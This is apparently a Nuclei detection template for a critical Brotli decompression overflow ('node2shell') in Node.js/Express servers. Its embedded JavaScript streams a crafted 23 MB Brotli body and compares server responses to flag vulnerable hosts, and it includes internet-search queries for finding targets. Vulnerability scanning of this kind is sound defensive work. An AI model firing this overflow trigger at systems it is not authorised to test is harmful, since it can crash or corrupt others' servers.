Copy
id: CVE-2026-111497
info:
name: Node.js Brotli Request-Body Integer Overflow (node2shell) - Remote Code Execution
author: assetnote,DhiyaneshDk,goosvorbook
severity: critical
description: |
A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream. Users need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.
impact: |
Remote attackers can corrupt memory, disclose sensitive data, cause denial of service, or execute arbitrary code remotely.
remediation: |
Update to version 1.0.10, 1.1.1, 1.2.1 or latest available version.
reference:
- https://github.com/assetnote/node2shell-scanner
- https://www.slcyber.io/exposure
- https://nvd.nist.gov/vuln/detail/CVE-2026-111497
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-111497
epss-score: 0.82641
epss-percentile: 0.99668
cwe-id: CWE-190
metadata:
verified: true
max-request: 6
vendor: nodejs
product: node.js
shodan-query: 'http.component:"Express"'
fofa-query: 'header="X-Powered-By: Express"'
tags: cve,cve2026,nodejs,express,brotli,overflow,rce,node2shell,js,vkev,kev
variables:
path: "/"
javascript:
- pre-condition: |
(function () {
var explicit = parseInt(tport, 10);
var ports = explicit ? [explicit] : [443, 80];
for (var i = 0; i < ports.length; i++) {
try { if (isPortOpen(thost, ports[i])) return true; } catch (e) {}
}
return false;
})();
code: |
(function () {
const net = require("nuclei/net");
// 23,068,764-byte Brotli body (assetnote/node2shell), byte for byte; decompression pressure, never an executable payload
const PREFIX = "8b000046a440861f6aaf2f0409414a104902a57a74f8fdaf473dea518f7ad4a31e";
const UNIT = "f5a8473dea518f7ad4a31e";
const REPS = (1 << 21) - 1;
const PROBE_BYTES = 23068764;
const VALID_BR = "3b"; // valid, empty Brotli stream
const MALFORMED_BR = "ff"; // Brotli every decoder rejects
const UNSUPPORTED = "78"; // "x", sent with Content-Encoding: x
const UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " +
"(KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Node2Shell/1.0.0";
const READ_LIMIT = 1 << 18;
const UPLOAD_REPS = 5957;
const TIMEOUT = 30;
const INTERIM_TIMEOUT = 2; // seconds to wait for a 100-continue / early rejection
let SUFFIX = "528fe207";
for (let i = 0; i < 65; i++) SUFFIX += "20";
SUFFIX += "03";
// binary-exponentiation concat; a naive += over 2M iterations is too slow
function units(n) {
let out = "", block = UNIT;
while (n > 0) {
if (n & 1) out += block;
n >>= 1;
if (n > 0) block += block;
}
return out;
}
// the javascript protocol hands us only host and port, so resolve transport by trying likely candidates once
const TLS_PORTS = { 443: 1, 4443: 1, 8443: 1, 9443: 1, 10443: 1 };
const explicitPort = parseInt(tport, 10);
const candidates = explicitPort
? [{ port: explicitPort, tls: TLS_PORTS[explicitPort] === 1 },
{ port: explicitPort, tls: TLS_PORTS[explicitPort] !== 1 }]
: [{ port: 443, tls: true }, { port: 80, tls: false }];
const route = (typeof tpath === "string" && tpath.charAt(0) === "/") ? tpath : "/";
let transport = candidates[0];
function hostHeader() {
const bare = transport.port === (transport.tls ? 443 : 80);
return bare ? thost : thost + ":" + transport.port;
}
function parseResponse(raw) {
let s = raw;
while (/^HTTP\/1\.[01] 1\d\d/.test(s)) { // skip 1xx interim from Expect: 100-continue
const cut = s.indexOf("\r\n\r\n");
if (cut < 0) return null;
s = s.substring(cut + 4);
}
const line = /^HTTP\/1\.[01] (\d{3})/.exec(s);
if (!line) return null;
const cut = s.indexOf("\r\n\r\n");
if (cut < 0) {
return { status: parseInt(line[1], 10), ctype: "", body: "", done: false };
}
const head = "\r\n" + s.substring(0, cut);
const body = s.substring(cut + 4);
const ct = /\r\ncontent-type:[ \t]*([^\r\n]*)/i.exec(head);
const cl = /\r\ncontent-length:[ \t]*(\d+)/i.exec(head);
const chunked = /\r\ntransfer-encoding:[^\r\n]*chunked/i.test(head);
let done;
if (cl) done = body.length >= parseInt(cl[1], 10);
else if (chunked) done = body.indexOf("\r\n0\r\n\r\n") >= 0;
else done = false;
return {
status: parseInt(line[1], 10),
ctype: ct ? ct[1].trim().toLowerCase() : "",
body: body,
done: done
};
}
// mode: false = short control body | "expect" = stream the probe behind
// Expect: 100-continue | "stream" = stream the probe with no expectation
function attempt(contentEncoding, contentType, bodyHex, contentLength, mode) {
const streaming = (mode === "expect" || mode === "stream");
const useExpect = (mode === "expect");
const r = { error: null, status: null, ctype: "", body: "", sent: 0, aborted: false };
let conn = null;
try {
conn = transport.tls
? net.OpenTLS("tcp", thost + ":" + transport.port)
: net.Open("tcp", thost + ":" + transport.port);
} catch (e) {
r.error = "connect failed: " + e;
return r;
}
try {
conn.SetTimeout(TIMEOUT);
let head = "POST " + route + " HTTP/1.1\r\n" +
"Host: " + hostHeader() + "\r\n" +
"User-Agent: " + UA + "\r\n" +
"Accept-Encoding: identity\r\n" +
"Content-Encoding: " + contentEncoding + "\r\n";
if (contentType) head += "Content-Type: " + contentType + "\r\n";
if (useExpect) head += "Expect: 100-continue\r\n"; // let a proxy reject the body before the 23 MB upload
head += "Content-Length: " + contentLength + "\r\n" +
"Connection: close\r\n\r\n";
conn.Send(head);
let interim = "";
if (streaming) {
if (useExpect) {
// Honour Expect: 100-continue - wait briefly for a 1xx (go ahead) or a
// final status (server refused the body) before streaming the 23 MB, so a
// patched or size-limited endpoint aborts cheaply instead of eating the upload
conn.SetTimeout(INTERIM_TIMEOUT);
try { interim = conn.RecvString(4096) || ""; } catch (e) {}
if (/^HTTP\/1\.[01] [2-5]\d\d/.test(interim)) {
const early = parseResponse(interim);
r.aborted = true;
if (early) { r.status = early.status; r.ctype = early.ctype; r.body = early.body; }
try { conn.Close(); } catch (e) {}
return r;
}
conn.SetTimeout(TIMEOUT);
}
// a patched server tears the socket down mid-stream, so a short write is a negative signal, not an error
try {
conn.SendHex(PREFIX);
r.sent += PREFIX.length / 2;
const block = units(UPLOAD_REPS);
const whole = Math.floor(REPS / UPLOAD_REPS);
const rest = REPS % UPLOAD_REPS;
for (let i = 0; i < whole; i++) {
conn.SendHex(block);
r.sent += block.length / 2;
}
if (rest > 0) {
const tail = units(rest);
conn.SendHex(tail);
r.sent += tail.length / 2;
}
conn.SendHex(SUFFIX);
r.sent += SUFFIX.length / 2;
} catch (e) {}
} else {
conn.SendHex(bodyHex);
r.sent = bodyHex.length / 2;
}
let raw = interim;
for (let i = 0; i < 512; i++) {
let chunk = null;
try { chunk = conn.RecvString(8192); } catch (e) { break; }
if (!chunk || chunk.length === 0) break;
raw += chunk;
if (raw.length >= READ_LIMIT) break;
const partial = parseResponse(raw);
if (partial && partial.done) break;
}
const parsed = parseResponse(raw);
if (!parsed) r.error = "no HTTP response";
else {
r.status = parsed.status;
r.ctype = parsed.ctype;
r.body = parsed.body;
}
} catch (e) {
if (!r.error) r.error = "" + e;
}
try { conn.Close(); } catch (e) {}
return r;
}
// the first live request settles port and TLS for every request that follows
let transportResolved = false;
function send(contentEncoding, contentType, bodyHex, contentLength, mode) {
if (transportResolved) {
return attempt(contentEncoding, contentType, bodyHex, contentLength, mode);
}
let first = null;
for (let i = 0; i < candidates.length; i++) {
transport = candidates[i];
const r = attempt(contentEncoding, contentType, bodyHex, contentLength, mode);
if (r.status !== null) {
transportResolved = true;
return r;
}
if (first === null) first = r;
}
transport = candidates[0];
transportResolved = true;
return first;
}
function control(contentEncoding, contentType, bodyHex) {
return send(contentEncoding, contentType, bodyHex, 1, false);
}
function same(a, b) {
return a.error === null && b.error === null &&
a.status === b.status && a.ctype === b.ctype && a.body === b.body;
}
function matches(a, b, mode) {
if (mode === "status") {
return a.error === null && b.error === null && a.status === b.status;
}
return same(a, b);
}
function failed(stage, r) {
return "node2shell: inconclusive | " + stage + " failed: " + r.error;
}
function nosignal(why) {
return "node2shell: no-signal | " + why;
}
// does the endpoint decompress even without a JSON content type
const bypass = control("br", null, MALFORMED_BR);
if (bypass.error) return failed("content-type bypass control", bypass);
// baseline for a body that decodes cleanly
const valid = control("br", "application/json", VALID_BR);
if (valid.error) return failed("valid Brotli control", valid);
if (bypass.status !== valid.status) {
return nosignal("content-type bypass and valid Brotli controls returned different statuses");
}
// baseline for a Brotli decode failure
const malformed = control("br", "application/json", MALFORMED_BR);
if (malformed.error) return failed("malformed Brotli control", malformed);
let mode = null;
if (valid.status !== malformed.status) mode = "status";
else if (same(bypass, valid) && !same(valid, malformed)) mode = "exact-response";
if (!mode) {
return nosignal("the controls did not establish distinct route and malformed-Brotli response classes");
}
// an unhandled encoding must not look like the route, or the comparison is meaningless
const unsupported = control("x", "application/json", UNSUPPORTED);
if (unsupported.error) return failed("unsupported encoding control", unsupported);
if (matches(unsupported, valid, mode)) {
return nosignal("the unsupported encoding control matched the route response class");
}
let probe = send("br", "application/json", null, PROBE_BYTES, "expect");
if (probe.aborted && probe.status === 417) {
// RFC 9110 10.1.1: a client that receives 417 repeats the request without
// the expectation, otherwise an Expect-unaware hop hides a vulnerable origin
probe = send("br", "application/json", null, PROBE_BYTES, "stream");
}
if (probe.aborted) {
return nosignal("the server answered HTTP " + probe.status + " before reading the body, so the probe was never decompressed");
}
if (probe.sent !== PROBE_BYTES) {
return nosignal("the probe was not fully uploaded (" + probe.sent + "/" + PROBE_BYTES + " bytes)");
}
if (probe.error) return failed("CVE probe", probe);
// the endpoint survived and still answers the way it did before the probe
const after = control("br", "application/json", VALID_BR);
if (after.error) return failed("final valid Brotli control", after);
if (!matches(valid, after, mode)) {
return nosignal("the route response class changed after the probe");
}
if (matches(probe, valid, mode)) {
return "node2shell: VULNERABLE | CVE-2026-111497 | path=" + route +
" | comparison=" + mode +
" | probe=HTTP" + probe.status +
" | reject=HTTP" + malformed.status;
}
if (matches(probe, malformed, mode)) {
return nosignal("the probe reached the malformed-Brotli response class (HTTP " + probe.status + ")");
}
return nosignal("the probe matched neither learned response class (HTTP " + probe.status + ")");
})()
args:
thost: "{{Host}}"
tport: "{{Port}}"
tpath: "{{path}}"
matchers:
- type: word
words:
- "node2shell: VULNERABLE"
# digest: 490a0046304402206b8f34b26c126db141a9cf7d35b74e72a585f875688e9ca3d529ed1414c886eb02204fd6f1a6ed047136304e42353840b8b109dbd972c6795b5896887e19e954dffe:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.